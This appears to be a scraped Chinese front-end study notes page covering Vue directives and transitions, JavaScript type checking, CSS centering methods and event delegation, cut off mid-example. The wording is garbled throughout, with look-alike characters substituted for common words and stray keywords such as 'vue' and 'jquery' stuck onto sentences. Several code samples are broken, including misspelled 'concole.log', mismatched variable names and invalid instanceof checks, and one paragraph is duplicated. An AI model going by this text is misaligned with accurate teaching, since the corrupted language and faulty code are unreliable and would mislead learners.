更多總結 猛戳這裏
屬性與方法
不要在實例屬性或者回調函數中（例如,vm.$watch('a', newVal => this.myMethod())使用箭頭函數。由於箭頭函數會綁定父級上下文，因此 this 不會按照預期指向 Vue 實例，而後 this.myMethod 將是未定義。css
語法
v- 指令是帶有v-的特殊屬性
- v-if 條件渲染
- v-show
- v-else (必須在v-if/v-else-if/v-show指令後)
- v-else-if (v-if/v-else-if後)
- v-for (遍歷)
- v-html (綁定HTML屬性中的值)
- v-bind (響應更新HTML特性，綁定自定義屬性，如綁定某個class元素或style)
- v-on (監聽指定元素的dom事件)
- v-model (內置的雙向數據綁定，用在表單控件，綁定的value一般是靜態字符串)
- v-cloak 關於vuejs頁面閃爍{{message}}
- v-once 只渲染元素和組件一次，隨後的從新渲染,元素/組件及其全部的子節點將被視爲靜態內容並跳過
<p v-if="seen">超然haha</p> <p v-else></p> <div v-show="isSeen">超然haha</div> <div v-else></div> <ul v-bind:class="{'class1': class1}"> <li v-for="item in items">{{ item }}</li> </ul> <button v-on:click="handleClick">click</button> <div> <p>{{ message }}</p> <input v-model="message"> </div> <!-- v-for --> <!-- 能夠經過一個對象的屬性來迭代數據 --> <li v-for="value in object"> {{ value }} </li> <!-- 也能夠提供第二個的參數爲鍵名 --> <li v-for="(value, key) in object"> {{ key }} : {{ value }} </li> <!-- 第三個參數爲索引 --> <li v-for="(value, key, index) in object"> {{ index }}. {{ key }} : {{ value }} </li> <!-- 也能夠循環整數 --> <li v-for="n in 10"> {{ n }} </li> <!-- v-cloak --> <!-- 和CSS規則如[v-cloak]{display:none}一塊兒用時，這個指令能夠隱藏未編譯的Mustache標籤直到實例準備完畢 --> [v-cloak]{ display:none; } <div v-cloak>{{message}}</div> <!-- v-once --> <!-- 組件 --> <my-component v-once :comment="msg"></my-component>
表達式——提供了JavaScript表達式支持
參數——指令後以冒號聲明
<a v-bind:href="url">超然haha</a>
過濾器
<div id="app">
{{ message | capitalize }}
</div>
<script>
new Vue({
el: '#app',
data: {
message: 'runoob'
},
filters: {
capitalize: function (value) {
if (!value) return ''
value = value.toString()
return value.charAt(0).toUpperCase() + value.slice(1)
}
}
})
</script>
縮寫
- v-bind
- v-on
<!-- 完整語法 --> <a v-bind:href="url"></a> <!-- 縮寫 --> <a :href="url"></a> <!-- 完整語法 --> <a v-on:click="doSomething"></a> <!-- 縮寫 --> <a @click="doSomething"></a>
計算屬性
computed 屬性默認只有 getter ，不過在須要時你也能夠提供一個 setter
var vm = new Vue({
el: '#app',
data: {
name: 'Google',
url: 'http://www.google.com'
},
computed: {
site: {
// getter
get: function () {
return this.name + ' ' + this.url
},
// setter
set: function (newValue) {
var names = newValue.split(' ')
this.name = names[0]
this.url = names[names.length - 1]
}
}
}
})
// 調用 setter， vm.name 和 vm.url 也會被對應更新
vm.site = '菜鳥教程 http://www.runoob.com';
document.write('name: ' + vm.name);
document.write('<br>');
document.write('url: ' + vm.url);
特殊屬性
key 主要用在 Vue的虛擬DOM算法，在新舊nodes對比時辨識VNodes
<li v-for="item in items" :key="item.id">...</li>
ref 給元素或子組件註冊引用信息。引用信息將會註冊在父組件的 $refs 對象上
<!-- vm.$refs.p will be the DOM node --> <p ref="p">hello</p> <!-- vm.$refs.child will be the child comp instance --> <child-comp ref="child"></child-comp>
is 用於動態組件,決定哪一個組件被渲染
<!-- 動態組件由 vm 實例的屬性值 `componentId` 控制 --> <component :is="componentId"></component> <!-- 也可以渲染註冊過的組件或 prop 傳入的組件 --> <component :is="$options.components.child"></component>
keep-alive 緩存不活動的組件實例，而不是銷燬它們,保留組件狀態避免從新渲染
<!-- 基本 --> <keep-alive> <component :is="view"></component> </keep-alive>
include && exclude 容許組件有條件的緩存
vue 樣式綁定
class屬性
- v-bind:class
<div v-bind:class="{ active: isActive }"></div> - v-bind:class 數組綁定
<div v-bind:class="[activeClass, errorClass]"></div>
style(內聯樣式)
- v-bind:style
<div v-bind:style="{ color: activeColor, fontSize: fontSize + 'px' }">超然haha</div> - v-bind:style (將多個樣式綁定到一個元素)
<div v-bind:style="[baseStyles, overridingStyles]">超然haha</div>
當 v-bind:style 使用須要特定前綴的 CSS 屬性時，如 transform ，Vue.js 會自動偵測並添加相應的前綴。
vue事件處理器
v-on
- 接收方法
<button v-on:click="greet">Greet</button>
- 內聯js語句
<button v-on:click="say('hi')">Say hi</button> - 事件修飾符
- .stop 阻止單擊事件冒泡
- .prevent 再也不重載頁面
- .capture 使用事件捕獲模式
- .self 只當事件在該元素自己（不是子元素）觸發時觸發
- .once 事件只會觸發一次
- 鍵值修飾符
- .enter
- .tab
- .delete (捕獲 「刪除」 和 「退格」 鍵)
- .esc
- .space
- .up
- .down
- .left
- .right
- .ctrl
- .alt
- .shift
- .meta
- 鼠標按鍵修飾符
- .left
- .right
- .middle
表單控件綁定
基礎用法
- 文本
- 複選框
- 單選按鈕
- 選擇列表
<!-- 文本 --> <input v-model="message" placeholder="edit me"> <p>Message is: {{ message }}</p> <!-- 複選框 --> <input type="checkbox" id="checkbox" v-model="checked"> <label for="checkbox">{{ checked }}</label> <!-- 單選按鈕 --> <div id="example-4"> <input type="radio" id="one" value="One" v-model="picked"> <label for="one">One</label> <br> <input type="radio" id="two" value="Two" v-model="picked"> <label for="two">Two</label> <br> <span>Picked: {{ picked }}</span> </div> <!-- 選擇列表 --> <div id="example-5"> <select v-model="selected"> <option disabled value="">請選擇</option> <option>A</option> <option>B</option> <option>C</option> </select> <span>Selected: {{ selected }}</span> </div>
修飾符
- .lazy 從輸入轉變爲在 change 事件中同步
- .number 自動將用戶的輸入值轉爲 Number 類型
- .trim 自動過濾用戶輸入的首尾空格
父子組件通訊
props （父–>子）
Vue.component('child', {
// 聲明 props
props: ['message'],
// 就像 data 同樣，prop 能夠用在模板內
// 一樣也能夠在 vm 實例中像「this.message」這樣使用
template: '<span>{{ message }}</span>'
})
<child message="hello!"></child>
on/emit (子–>父)
父組件能夠在使用子組件的地方直接用 v-on 來監聽子組件觸發的事件
不能用 $on 偵聽子組件拋出的事件，而必須在模板裏直接用 v-on 綁定html
<button-counter v-on:increment="incrementTotal"></button-counter>
Vue.component('button-counter', {
template: '<button v-on:click="incrementCounter">{{ counter }}</button>',
data: function () {
return {
counter: 0
}
},
methods: {
incrementCounter: function () {
this.counter += 1
this.$emit('increment')
}
},
})
子組件索引
- JavaScript 中直接訪問子組件。爲此能夠使用 ref 爲子組件指定一個索引 ID*
<div id="parent"> <user-profile ref="profile"></user-profile> </div>
var parent = new Vue({ el: '#parent' })
// 訪問子組件
var child = parent.$refs.profile
過渡效果
插入、更新或者移除 DOM 時前端
單元素組件的過分
- v-if
- v-show
- 動態組件
- 組件根節點
-
<div id="demo"> <button v-on:click="show = !show"> Toggle </button> <transition name="fade"> <p v-if="show">hello</p> </transition> </div>
new Vue({ el: '#demo', data: { show: true } }) .fade-enter-active, .fade-leave-active { transition: opacity .5s } .fade-enter, .fade-leave-to /* .fade-leave-active in below version 2.1.8 */ { opacity: 0 }
刪除或插入包含在transition組件中的元素時，處理過程：
1. 自動嗅探目標元素是否應用了 CSS 過渡或動畫，若是是，在恰當的時機添加/刪除 CSS 類名。
2. 若是過渡組件提供了 JavaScript 鉤子函數，這些鉤子函數將在恰當的時機被調用。
3. 若是沒有找到 JavaScript 鉤子而且也沒有檢測到 CSS 過渡/動畫，DOM 操做（插入/刪除）在下一幀中當即執行。(注意：此指瀏覽器逐幀動畫機制，和Vue的 nextTick 概念不一樣)vue
過渡的css類名
- v-enter 過渡開始狀態
- v-enter-active 過渡狀態
- v-enter-to 過渡的結束狀態（插入後）
- v-leave 離開過渡開始狀態
- v-leave-active 過渡狀態
- v-leave-to 離開過渡結束狀態
v- 是這些類名的前綴。使用 能夠重置前綴，好比 v-enter 替換爲 my-transition-enter。html5
<div id="example-3">
<button @click="show = !show">
Toggle render
</button>
<transition
name="custom-classes-transition"
enter-active-class="animated tada"
leave-active-class="animated bounceOutRight"
>
<p v-if="show">hello</p>
</transition>
</div>
vue經驗總結
click
- 普通元素： @click
- 組件元素： @click.native
slot
- 非必要元素
- 可自定義
router-link
- tag 指定渲染標籤類型
- active-class 激活時樣式n
javascript 經驗總結
fetch
asyn 函數
js數據類型
1、js數據類型
string、number、Boolean、Array、object、Null、Undefinednode
1. js擁有動態類型
相同的變量能夠用做不一樣的類型react
var x // x 爲 undefined var x = 6; // x 爲數字 var x = "Bill"; // x 爲字符串
2. 數據類型
- string
存儲字符，可用單引號或雙引號 - number
可帶小數點或不帶（支持科學記數法） - Boolean
true 或 false - array
//先建立再賦值 var cars=new Array(); cars[0]="Audi"; cars[1]="BMW"; cars[2]="Volvo"; //建立的同時賦值 var cars=new Array("Audi","BMW","Volvo"); //直接賦值 var cars=["Audi","BMW","Volvo"];
- object
由花括號分隔，括號內部，對象的屬性以名稱和鍵值對的形式定義，屬性用逗號分隔
var person={ firstname : "Bill", lastname : "Gates", id : 5566 };//兩種尋址方式 name=person.lastname; name=person["lastname"];
- undefined
當聲明的變量還未被初始化時，變量的默認值爲undefined
// 典型用法 var i; i // 變量被聲明瞭，但沒有賦值 function f(x){console.log(x)} f() //調用函數時，應該提供的參數沒有提供，該參數等undefined var o = new Object(); o.p // 對象沒有賦值的屬性，該屬性的值爲undefined var x = f(); x // 函數沒有返回值時，默認返回undefined
- null
還沒有存在的對象
// 典型用法 （1） 做爲函數的參數，表示該函數的參數不是對象。 （2） 做爲對象原型鏈的終點。
undefined 與 nulljquery
null便是一個不存在的對象的佔位符
ECMAScript認爲undefined是從null派生出來的，因此把它們定義爲相等的。
區分：
concole.log(null === undefined); // false concole.log(typeof null == typeof undefined); // false
2、 js數據類型轉換
1. 轉換函數
- 轉換成字符串（tostring）
// number var iNum = 10; alert(iNum.toString()); //輸出 "10" //Boolean var bool = false; alert(bool .toString()); //輸出 "false" //基模式 var iNum = 10; alert(iNum.toString(2)); //輸出 "1010" alert(iNum.toString(8)); //輸出 "12" alert(iNum.toString(16)); //輸出 "A"
- 轉換成數字
parseInt() parseFloat()
/*parseInt() 方法首先查看位置 0 處的字符，判斷它是不是個有效數字；若是不是，該方法將返回 NaN，再也不繼續執行其餘操做。*/ /*但若是該字符是有效數字，該方法將查看位置 1 處的字符，進行一樣的測試。這一過程將持續到發現非有效數字的字符爲止，此時 parseInt() 將把該字符以前的字符串轉換成數字。*/ var iNum1 = parseInt("12345red"); //返回 12345 var iNum1 = parseInt("0xA"); //返回 10 var iNum1 = parseInt("56.9"); //返回 56 小數點是無效字符 var iNum1 = parseInt("red"); //返回 NaN // parseFloat() 方法與 parseInt() 方法的處理方式類似 // 但第一個出現的小數點是有效字符 var fNum4 = parseFloat("11.22.33"); //返回 11.22
2. 強制類型轉換
ECMAScript 中可用的 3 種強制類型轉換：Boolean、Number、String
- Boolean(value)
// 當要轉換的值是至少有一個字符的字符串、非 0 數字或對象時，Boolean() 函數將返回 true // 若是該值是空字符串、數字 0、undefined 或 null，它將返回 false var b1 = Boolean(""); //false - 空字符串 var b2 = Boolean("hello"); //true - 非空字符串 - Number(value)
// Number() 函數的強制類型轉換與 parseInt() 和 parseFloat() 方法的處理方式類似，只是它轉換的是整個值，而不是部分值。 var iNum1 = parseInt("56.9"); //返回 56 var fNum2 = parseFloat("11.22.33"); //返回 11.22 var iNum3 = Number("56.9"); //返回 56.9 var fNum2 = Number("11.22.33"); //返回 NaN - String(value)
可把任何值轉換成字符串
3、js數據類型判斷
1. typeOf
| 類型 | 結構 |
|---|---|
| Undefined | "undefined" |
| Null | "object" (見下方) |
| 布爾值 | "boolean" |
| 數值 | "number" |
| 字符串 | "string" |
| Symbol (ECMAScript 6 新增) | "symbol" |
| 宿主對象(JS環境提供的，好比瀏覽器) | Implementation-dependent |
| 函數對象 (implements [[Call]] in ECMA-262 terms) | "function" |
| 任何其餘對象 | "object" |
2. instanceof （判斷已知對象類型）
var a = [],
b = new Date(),
d = {},
e = null;
function c(name){
this.name = name;
}
alert(b instanceof Date) ----------------> true
alert(c instanceof Function) -------------> true
alert(c instanceof function) -------------> false
console.log(a instanceof Array) ----------> true
console.log(a instanceof Object)----------> true
console.log(c instanceof Array)-----------> false
console.log(e instanceof Object)----------> false
console.log(1 instanceof Number)----------> false
// 注意：instanceof 後面必定要是對象類型，而且大小寫不能錯，該方法適合一些條件選擇或分支。
- 由於數組自己也是一個對象
- 正常對象用instanceof 能夠和數組區分
- null 雖然是個特殊的對象，但並不繼承自object
3. 結合 typeof 與 instanceof
function type(item) {
if (arguments.length != 1) {
throw new Error('must give one argument!')
}
var itemTp = typeof(item)
// if null
if (!item) {
return itemTp === 'undefined' ? 'undefined' : 'null'
}
return itemTp !== 'object' ? itemTp : (item instanceof Array) ? 'array' : (item instanceof 'object')
}
4. constructor（根據對象的constructor判斷）
W3C定義：constructor 屬性返回對建立此對象的數組函數的引用（返回對象對應的構造函數）
constructor原本是原型對象上的屬性，指向構造函數。可是根據實例對象尋找屬性的順序，若實例對象上沒有實例屬性或方法時，就去原型鏈上尋找，所以，實例對象也是能使用constructor屬性的
var a = new Array();
console.log(a instanceof Array) // a是否Array的實例 true
console.log(a.constructor == Array) // a實例所對應的構造函數是否爲Array true
//example
function Dog(name){
this.name=name;
}
var Dollar=new Dog("Dollar");
console.log(Dollar.constructor); //輸出function Dog(name){this.name=name;}
function Dog(){
}
var Tim = new Dog();
console.log(Tom.constructor === Dog);//true
// constructor屬性是能夠被修改的，會致使檢測出的結果不正確
function Dog(){
}
function Cat(){
}
Cat.prototype = new Dog();
var m= new Cat();
console.log(m.constructor==Cat); // false
console.log(John.constructor==Person); // true
// instanceof 對於直接或間接引用都是true
console.log(m instanceof Cat); // true
console.log(John instanceof Person); // true
5. Object.prototype.toString.call
function a() { };
var toString = Object.prototype.toString;
console.log(toString.call(new Date) === '[object Date]'); //true
console.log(toString.call(new String) ==='[object String]');//true
console.log(toString.call(a) ==='[object Function]'); //true
6. $.type()（萬能判斷）
jQuery.type( undefined ) === "undefined" // true jQuery.type() === "undefined" // true jQuery.type( null ) === "null" // true jQuery.type( true ) === "boolean" // true
7. 判斷是否爲數組
數組不是基礎類型
typeof [] === 'object' // true
要判斷一個變量是否爲數組，須要用 Array.isArray( var )
若有建議或補充，歡迎留言交流~
參考：
http://www.jb51.net/article/73566.htm
前端學習
1、html5 && css3
- html5新增元素和標籤結構
- html5新增特性API
- css3新特性/動畫
- CSS 基礎樣式、規範總結
- CSS reset
- CSS技術交流
- bootstrap框架熟悉
- html5移動Web開發，跨屏、Retina適配等等
- Web Components標準（Web組件最初的目的是使開發人員擁有擴展瀏覽器標籤的能力，能夠自由的進行定製組件）
- 兼容性查詢
- 設計感的培養
https://webgradients.com/ （色彩）
http://www.userinterface.com.cn/ （設計網站導航）
http://www.shejidaren.com/category/design-tools （設計網站&工具彙總）
2、javascript
1. ES6（ECMAScript 6）
① ECMAScript是JavaScript語言的國際標準，JavaScript是ECMAScript的實現。編程語言JavaScript是ECMAScript的實現和擴展，由ECMA（一個相似W3C的標準組織）參與進行標準化。
ECMAScript與JavaScript的關係
ECMAScript 是一種開放的、國際上廣爲接受的腳本語言規範。 它自己並非一種腳本語言。正如在 Web 應用程序中執行有用操做的 bean 集合（例如，Netscape 的 AWT）是 Sun 的 JavaBean 規範的一種實現同樣，JavaScript 是 ECMAScript 規範的一種實現。
JScript和JavaScript
JavaScript： Netscape公司
Jscript： Microsoft公司
Jscript是微軟版的JavaScript，與JavaScript基本一致.
若是你這樣寫：<script> </script>
不聲明腳本版本的話，在IE裏默認用Jscript，在Netscape裏默認用JavaScript
腳本語言自己和瀏覽器版本無關，JavaScript就是JavaScript，永遠是Netscape公司的JavaScript，永遠首先默認支持 NS；JScript永遠就是MS的JScript，IE永遠默認首先支持JScript，其實只是MS和NS之間的積怨罷了，於咱們這些使用者本無區別......
② ECMAScript 6（如下簡稱ES6）是JavaScript語言的下一代標準
2. React
ReactJS是基於組件化的開發
在Web開發中，咱們總須要將變化的數據實時反應到UI上
React是Facebook開源的JavaScript庫，用於構建UI
- React不是一個完整的MVC框架，最多能夠認爲是MVC中的V（View），甚至React並不很是承認MVC開發模式；
- React的服務器端Render能力只能算是一個錦上添花的功能，並非其核心出發點，事實上React官方站點幾乎沒有說起其在服務器端的應用；
- 有人拿React和Web Component相提並論，但二者並非徹底的競爭關係，你徹底能夠用React去開發一個真正的Web Component；
- React不是一個新的模板語言，JSX只是一個表象，沒有JSX的React也能工做。
Virtual DOM
Virtual DOM並無徹底實現DOM，Virtual DOM最主要的仍是保留了Element之間的層次關係和一些基本屬性。
基於React進行開發時全部的DOM構造都是經過虛擬DOM進行，每當數據變化時，React都會從新構建整個DOM樹，而後React將當前整個DOM樹和上一次的DOM樹進行對比，獲得DOM結構的區別，而後僅僅將須要變化的部分進行實際的瀏覽器DOM更新。並且React可以批處理虛擬DOM的刷新，在一個事件循環（Event Loop）內的兩次數據變化會被合併，例如你連續的先將節點內容從A變成B，而後又從B變成A，React會認爲UI不發生任何變化。儘管每一次都須要構造完整的虛擬DOM樹，可是由於虛擬DOM是內存數據，性能是極高的，而對實際DOM進行操做的僅僅是Diff部分，於是能達到提升性能的目的。這樣，在保證性能的同時，開發者將再也不須要關注某個數據的變化如何更新到一個或多個具體的DOM元素，而只須要關心在任意一個數據狀態下，整個界面是如何Render的。
React.render 是 React 的最基本方法，用於將模板轉爲 HTML 語言，並插入指定的 DOM 節點。
這裏須要注意的是，react並不依賴jQuery，固然咱們能夠使用jQuery，可是render裏面第二個參數必須使用JavaScript原生的getElementByID方法，不能使用jQuery來選取DOM節點。
全部html結構，均可以用js dom來構造，並且能將構造的步驟封裝起來，作到「數據-dom結構」的映射。
將普通的DOM以數據結構的形式展示出來
自我認知：
react主要用於構建UI，可用react來構建component，開發時全部的dom構造都基於virtual dom，所謂virtual dom 指的是由js dom 並且可以封裝起來造成【數據-dom】結構的映射，具體來講就是一個數據結構，利用react的render將構造好的數據結構插入界面，構造的過程就是根據所提供的數據與要求，設置數據結構中的參數，要怎麼作就作成什麼。將界面與業務隔離，將重心轉移到業務。
2. Angular2/前端MVC、MVVM之類的設計模式
AngularJS
http://www.cnblogs.com/xing901022/p/4280299.html
AngularJS：
AngularJs相對於其餘的框架來講，有一下的特性：
- MVVM
- 模塊化
- 自動化雙向數據綁定
- 語義化標籤
- 依賴注入
包括的主要有
1 angularjs模板
視圖和模板
2 迭代器過濾
控制器
3 雙向綁定
輸入框的任何更改會當即反映到模型變量（一個方向），模型變量的任何更改都會當即反映到問候語文本中（另外一方向）。
AngularJS是爲了克服HTML在構建應用上的不足而設計的。HTML是一門很好的爲靜態文本展現設計的聲明式語言，但要構建WEB應用的話它就顯得乏力了。
AngularJS應用的解析
AngularJS應用程序的三個組成部分，及它們如何映射到模型-視圖-控制器設計模式：
- 模板（Templates）
模板是您用HTML和CSS編寫的文件，展示應用的視圖。 您可給HTML添加新的元素、屬性標記，做爲AngularJS編譯器的指令。 AngularJS編譯器是徹底可擴展的，這意味着經過AngularJS您能夠在HTML中構建您本身的HTML標記！
- 應用程序邏輯（Logic）和行爲（Behavior）
應用程序邏輯和行爲是您用JavaScript定義的控制器。AngularJS與標準AJAX應用程序不一樣，您不須要另外編寫偵聽器或DOM控制器，由於它們已經內置到AngularJS中了。這些功能使您的應用程序邏輯很容易編寫、測試、維護和理解。
- 模型數據（Data）
模型是從AngularJS做用域對象的屬性引伸的。模型中的數據多是Javascript對象、數組或基本類型，這都不重要，重要的是，他們都屬於AngularJS做用域對象。
AngularJS經過做用域來保持數據模型與視圖界面UI的雙向同步。一旦模型狀態發生改變，AngularJS會當即刷新反映在視圖界面中，反之亦然。
此外，AngularJS還提供了一些很是有用的服務特性：
- 底層服務包括依賴注入，XHR、緩存、URL路由和瀏覽器抽象服務。
- 您還能夠擴展和添加本身特定的應用服務。
- 這些服務可讓您很是方便的編寫WEB應用。
若是應用時常要處理大量的動態數據集，並以相對簡便和高性能的方式對大型數據表進行顯示和變動，React是至關不錯的選擇。可是React不像AngularJS那樣包含完整的功能，舉例來講，React沒有負責數據展示的控制器
雖然Angular的數據的表達可以很是緊湊, 可是渲染大型數據集依舊被證實是一個痛點. 因爲雙向數據綁定須要監聽每個可變元素, 數據量變大就會帶來顯著的性能問題. React, 在另外一方面, 使用虛擬DOM來跟蹤元素的變化. 當檢測到變化時, React會構建一個針對DOM變化的補丁, 而後應用這些補丁. 因爲沒必要在每一個元素每次變化時從新渲染整個巨大的table, React相對於其餘JavaScript框架有顯著的性能提高.
性能
雖然Angular的數據的表達可以很是緊湊, 可是渲染大型數據集依舊被證實是一個痛點. 因爲雙向數據綁定須要監聽每個可變元素, 數據量變大就會帶來顯著的性能問題. React, 在另外一方面, 使用虛擬DOM來跟蹤元素的變化. 當檢測到變化時, React會構建一個針對DOM變化的補丁, 而後應用這些補丁. 因爲沒必要在每一個元素每次變化時從新渲染整個巨大的table, React相對於其餘JavaScript框架有顯著的性能提高.
3. Node.js
熟悉，學習Node的運行方式以及主流框架的設計模式，有助於深刻理解Javascript
4. 瞭解MongoDB文檔數據庫
5. Node.js異步編程的流程控制
有助於深刻理解Javascript異步編程
3、 前端工程化
1.gulp/webpack等前端工具
2.前端模塊化、組件化、可測試化、性能優化、可伸縮性（scalable）
3.前端自動化測試，（如PhantomJS之類的工具）
4、前瞻
1.ES7（ECMAScript 7）
2.html5新特性 webGL openGL
3.React/Web Components
5、學習資源
1.《Javascript高級程序設計》
2.《高性能Javascript》
3.《深刻淺出Node.js》
4.Google/Stack Overflow/Github
5.關注國內前端牛人的博客或者Github動態
6.Mozilla開發者網站，Web標準、Api等等文檔比較詳細和權威 https://developer.mozilla.org/zh-CN/
7.慕課網，有不少質量不錯的前端課程
8.前端技術發展迭代很是快，須要及時關注新動向
9.選擇一個熱門的前端開源項目，深刻研究其用法和源代碼，學習其設計思想，逐步提高本身的前端架構設計能力
10.關注大型技術會議的技術分享，關注大公司的技術團隊
11.優秀總結
6、學習順序
1.html5新元素、標籤、標準、經常使用的新特性Api
2.css3的使用
3.bootstrap，移動Web、跨瀏覽器開發
4.react
5.Node.js
持續更新······
若有其餘資源或建議，歡迎留言交流~
CSS 居中
1、水平或垂直居中
1. 單行內容垂直居中
/*height = line-height*/
.center{
height: 4em;
line-height: 4em;
overflow: hidden; /*保護佈局，非必須*/
}
支持：全部塊級、內聯元素、全部瀏覽器
缺點：只能顯示一行
2. div水平居中
<!--html代碼--> <div class="center">div居中了</div>
body{ text-align:center}
.center{
margin:0 auto; /*main*/
width:400px;
height:100px;
border:1px solid #F00
}
3. float
給父元素設置float，而後父元素設置position:relative和left:50%,子元素設置position:relative和left:-50%來實現
2、水平+垂直居中
1. 非固定高度居中
.middle{
position:absolute;
top:10px;
bottom:10px;
}
支持：全部塊級、內聯元素、全部瀏覽器
缺點：容器不能固定高度
2. 利用表格
.middle{
display: table-cell;
height: 300px;
vertical-align: middle;
}
缺點：IE無效
3. margin負值
.middle {
width: 400px;
height: 200px;
position: absolute;
top: 50%; left: 50%;
margin-left: -200px; /* width/2 */
margin-top: -100px; /* height/2 */
}
支持：ie各個版本
缺點：非響應式，寬高固定，須要爲padding預留空間或用box-sizing:border-box
4. 徹底居中
<!DOCTYPE html>
<html>
<head>
<title>text-align</title>
<style type="text/css" media="screen">
body {
text-align: center
}
.middle {
background: red;
bottom: 0;
height: 100px;
left: 0;
margin: auto;
position: absolute;
top: 0;
right: 0;
width: 100px;
}
</style>
</head>
<body>
<div class="middle">center</div>
</body>
</html>
5. fixed（可視區域內居中）
.middle {
position: fixed;
z-index: 999; /*設置較大的z-index居於其餘元素上方 最好在外層容器設置position:relative */
}
6. transform
.middle {
width: 50%;
margin: auto;
position: absolute;
top: 50%; left: 50%;
-webkit-transform: translate(-50%,-50%);
-ms-transform: translate(-50%,-50%);
transform: translate(-50%,-50%);
}
缺點： 不支持IE8
7. inline-block
.middle{
display: inline-block;
vertical-align: middle;
text-align: center;
}
8. Flex方法
<div class="container">
<!--容器內的元素將會居中-->
<img src="a.jpg">
</div>
.container{
display: flex;
justify-content: center;
align-items: center;
}
/*考慮兼容性 */
.container {
display: -webkit-box;
display: -moz-box;
display: -ms-flexbox;
display: -webkit-flex;
display: flex;
-webkit-box-align: center;
-moz-box-align: center;
-ms-flex-align: center;
-webkit-align-items: center;
align-items: center;
-webkit-box-pack: center;
-moz-box-pack: center;
-ms-flex-pack: center;
-webkit-justify-content: center;
justify-content: center;
}
1.設置container的display的類型爲flex，激活爲flexbox模式。
2.justify-content定義水平方向的元素位置
3.align-items定義垂直方向的元素位置
支持：任意寬高
不支持IE8-9
3、圖片居中
1. align
<div align="center"><img src="a.jpg" /></div>
2. text-align
<div style="text-align:center"><img src="a.jpg" /></div>
4、對照表
| 所用樣式 |
支持的瀏覽器 |
是否 響應式 |
內容溢出後的樣式 |
resize:both |
高度可變 |
主要缺陷 |
| Absolute |
現代瀏覽器&IE8+ |
是 |
會致使容器溢出 |
是 |
是* |
‘可變高度’的特性不能跨瀏覽器 |
| 負margin值 |
全部 |
否 |
帶滾動條 |
大小改變後再也不居中 |
否 |
不具備響應式特性，margin值必須通過手工計算 |
| Transform |
現代瀏覽器&IE9+ |
是 |
會致使容器溢出 |
是 |
是 |
妨礙渲染 |
| Table-Cell |
現代瀏覽器&IE8+ |
是 |
撐開容器 |
否 |
是 |
會加上多餘的標記 |
| Inline-Block |
現代瀏覽器&IE8+&IE7* |
是 |
撐開容器 |
否 |
是 |
須要使用容器包裹和hack式的樣式 |
| Flexbox |
現代瀏覽器&IE10+ |
是 |
會致使容器溢出 |
是 |
是 |
須要使用容器包裹和廠商前綴（vendor prefix） |
持續更新······
若有建議或其餘實現方法，歡迎留言交流~
事件委託和this
1、事件
事件階段
通常的，事件分爲三個階段：捕獲階段、目標階段和冒泡階段。
（1）捕獲階段（Capture Phase）
事件的第一個階段是捕獲階段。事件從文檔的根節點流向目標對象節點。途中通過各個層次的DOM節點，並在各節點上觸發捕獲事件，直到到達事件的目標節點。捕獲階段的主要任務是創建傳播路徑，在冒泡階段，事件會經過這個路徑回溯到文檔跟節點。
或這樣描述：
任何事件產生時，如點擊一個按鈕，將從最頂端的容器開始（通常是html的根節點）。瀏覽器會向下遍歷DOM樹直到找到觸發事件的元素，一旦瀏覽器找到該元素，事件流就進入事件目標階段
（2）目標階段（Target Phase）
當事件到達目標節點的，事件就進入了目標階段。事件在目標節點上被觸發，而後會逆向迴流，直到傳播至最外層的文檔節點。
（3）冒泡階段（Bubble Phase）
事件在目標元素上觸發後，並不在這個元素上終止。它會隨着DOM樹一層層向上冒泡，回溯到根節點。
冒泡過程很是有用。它將咱們從對特定元素的事件監聽中釋放出來，若是沒有事件冒泡，咱們須要監聽不少不一樣的元素來確保捕獲到想要的事件。
事件委託
事件委託是一種由其它元素而非事件目標元素來響應事件產生的行爲的思想。
通俗的講，事件就是onclick，onmouseover，onmouseout，等就是事件，委託呢，就是讓別人來作，這個事件原本是加在某些元素上的，然而你卻加到別人身上來作，完成這個事件。
也就是：利用冒泡的原理，把事件加到父級上，觸發執行效果。
好處呢：1.提升性能； 2. 易於維護；
好比用document元素來處理按鈕的點擊行爲，用ul元素來處理其子元素li的事件。
有多種方法來處理事件委託。標準方法來源於原生瀏覽器的功能。瀏覽器以一種特定的工做流程來處理事件，並支持事件捕獲和事件冒泡。W3C關於瀏覽器怎麼支持事件的文檔：W3C DOM Level 3 Events。一些JS庫和框架公開了其它方式，如發佈/訂閱模型（將在後文說起）。
事件冒泡
（1）爲何要阻止事件冒泡
有種多是，某個DOM節點綁定了某事件監聽器，原本是想當該DOM節點觸發事件，纔會執行回調函數。結果是該節點的某後代節點觸發某事件，因爲事件冒泡，該DOM節點事件也會觸發，執行了回調函數，這樣就違背了最初的本意了。
（2）如何阻止事件冒泡
- stopPropagation：告訴DOM事件中止冒泡
- stopImmediatePropagation，它不只中止冒泡，也會阻止這個元素上其它監聽當前事件的處理程序觸發。然而,中止傳播事件時要當心,由於你不知道是否有其它上層的DOM元素可能須要知道當前事件。
- preventDefault，這個方法會阻止瀏覽器處理事件的默認行爲。一個常見示例就是連接，使用連接執行UI操做是一種常見的作法。然而，當咱們不但願連接跟普通被激活的連接同樣會在新標籤頁打開一個新頁面，就能夠使用preventDefault方法來阻止這個默認行爲。
訂閱發佈模式
還有其它實現事件委託的方法能夠考慮，其中值得一提的就是發佈/訂閱模型。發佈/訂閱模型也稱爲了廣播模型，牽涉到兩個參與者。一般，兩個參與者在DOM中並無緊密的聯繫，並且多是來自兄弟的容器。能夠給它們共同的祖先元素設置監聽處理程序，可是若是共同的祖先元素在DOM樹中處於較高層次（離根節點比較近），就會監聽不少同輩元素的事件，會形成意想不到的結果；固然，也可能存在邏輯或結構緣由要分開這兩個元素。
發佈/訂閱模型也能自定義事件。發佈/訂閱模型從一個元素髮送消息後並向上遍歷，有時也向下遍歷，DOM會通知遍歷路徑上的全部元素事件發生了。在下面的示例中，JQuery經過trigger方法傳遞事件。
2、this
this 關鍵字在JavaScript中的一種經常使用方法是指代碼當前上下文。
- 若是this沒有被設置，則默認指向全局對象，其一般是window
- 若是一個函數中運行了一個內聯函數，好比一個事件監聽器，則this指向內聯函數的源代碼。例如,當設置一個按鈕的單擊處理程序,this將引用匿名函數內的按鈕。
- 若是函數是一個對象的構造函數，this指向新對象。
- 若是函數被定義在一個對象上,而後調用對象時,this指向該對象。
- 在異步編程中，this能夠很容易改變過程當中一個功能操做。保持處理程序上下文的一個小技巧是將其設置到閉包內的一個變量，當在上下文改變的地方調用一個函數時，如setTimeout，你仍然能夠經過該變量引用須要的對象。
例子
（1）若是該函數是被當作某一個對象的方法，那麼該函數的this指向該對象；
var car= {
modelNum: "Benz"
}
function f() {
alert(this.modelNum+ ":hello world")
